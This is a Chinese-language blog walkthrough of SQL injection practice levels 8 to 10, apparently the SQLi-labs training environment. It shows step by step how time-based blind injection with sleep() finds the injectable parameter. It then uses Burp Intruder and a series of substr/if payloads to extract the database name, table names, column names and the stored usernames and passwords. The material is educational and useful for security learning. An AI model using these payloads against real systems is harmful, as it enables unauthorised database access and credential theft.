承接上篇blog,今天我们直接跳过第7关,直接进入8-10关,8-10关本质上都是一种体型,而且语法改变得也并不大,话不多说,直接开始第8关。
第一步,寻找注入点。
输入
?id=1
页面有回显,加个单引号试试
显示没了,无法判断到底是什么进行的闭合,所以报错注入也无法继续,那就先试试盲注(新知识点了),输入
?id=1' and sleep(5)--+
观察浏览器的回应,你会发现浏览器无法迅速回应,当输入?id=1 and sleep(5)--+时,回应又非常迅速,这是因为sleep()这个函数,当id=1'成立时,会执行sleep(5),页面延迟回显,那么,注入点就能判断出来了。
那么接下来,我们用bp进行抓包,找库名
输入
?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
放入intruder模块,并选择集束炸弹板块(第四个)
配置第一个payload为1-9
配置第二个payload为a-z
点击开始攻击,攻击完成后
长度为911的就是数据库名,当我们把位次与单词结合起来,就能找到数据库为'security'
接着同样的方法,输入
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+
即可推断表名
输入
id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+
即可推断字段名
输入
?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+
即可推断出字段值
第9和第10关同样的方法即可通关。